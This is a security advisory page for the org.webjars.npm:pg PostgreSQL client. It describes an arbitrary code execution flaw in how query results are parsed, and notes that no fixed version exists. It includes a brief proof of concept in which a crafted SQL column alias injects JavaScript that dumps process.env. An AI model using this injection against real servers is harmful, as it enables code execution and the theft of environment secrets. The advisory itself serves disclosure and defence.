org.webjars.npm:pg@6.1.5 vulnerabilities

  • latest version

    6.4.0

  • first published

    7 years ago

  • latest version published

    7 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:pg package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Arbitrary Code Execution

    org.webjars.npm:pg is a non-blocking PostgreSQL client for node.js.

    Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval, and with a specially crafted column name, an attacker can cause code to run remotely on the server.

    PoC:

    const { Client } = require('pg')
    const client = new Client()
    client.connect()
    
    const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
    
    client.query(sql, (err, res) => {
      client.end()
    });
    

    How to fix Arbitrary Code Execution?

    There is no fixed version for org.webjars.npm:pg.

    [0,)